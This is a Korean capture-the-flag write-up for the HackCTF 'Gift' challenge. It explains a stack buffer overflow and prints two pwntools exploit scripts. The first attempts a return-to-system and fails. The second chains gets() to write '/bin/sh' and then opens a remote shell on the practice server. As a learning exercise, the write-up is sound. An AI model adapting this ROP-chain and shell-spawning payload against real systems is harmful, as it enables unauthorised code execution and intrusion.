CTF's Write-up
HACKCTF - Gift
m0nd2y
2020. 7. 30. 13:32
처음 시작하면 gift화면을 하나 주는데 이를 실행하면
hihi <-- 입력
hihi <-- 출력
1234 <-- 입력
주소 두개를 주고, 하나 입력받아서 던져주고, 다시 하나를 입력받는 구조입니다.
ida로 해당 부분을 살펴보면
주소 두개가 1. binsh 2. system이렇게 두개를 주네요.
그러면 바로 12번줄에서 bof가 발생하니 익스를 작성하면
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
context.log_level = "debug"
r.recvuntil("are: ")
binsh = int(r.recv(10), 16)
system = int(r.recv(11), 16)
log.info("binsh = " + hex(binsh))
log.info("system = " + hex(system))
payload = ""
payload += "A"*0x84+"A"*0x4
payload += p32(system)
payload += "A"*0x4
payload += p32(binsh)
r.sendline("1234")
r.recv()
r.sendline(payload)
r.interactive()
|
이렇게 익스가 가능합니다.
그런데 실행해보면..아무런 일도 발생하지 않아서 도대체 뭐가 문제인지 디버깅을 해보다가 발견한게..

binsh라는 변수에 아무것도 들어있지않았습니다 ㅌㅋㅋㅋㅋㅋㅋㅋㅋ
후하... 그럼 직접 넣어줘야겠죠.
이거 때문에 얼마나 고생헀는지 ㅠㅠㅠ
삽질은 좋은경험이니 그걸로 만족합니다.
gets 함수가 있으니 체인으로 엮어줘서 binsh에 직접 "/bin/sh\00"을 넣어줘서 코드를 약간만 수정하면 익스가 가능하겠군요.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
context.log_level = "debug"
r.recvuntil("are: ")
gets_add = 0x80483d0
pr = 0x0804866b
binsh = int(r.recv(10), 16)
system = int(r.recv(11), 16)
r.sendline("1234")
log.info("geets_add = " + hex(gets_add))
log.info("binsh = " + hex(binsh))
log.info("system = " + hex(system))
payload = ""
payload += "A"*0x84+"A"*0x4
payload += p32(gets_add)
payload += p32(pr)
payload += p32(binsh)
payload += p32(system)
payload += "A"*0x4
payload += p32(binsh)
r.recv()
r.sendline(payload)
r.sendline("/bin/sh\00")
r.sendline(payload)
r.interactive()
|
cs |
익스코드입니다. 이를 실행하면

exploit을 성공할 수 있습니다. (grin)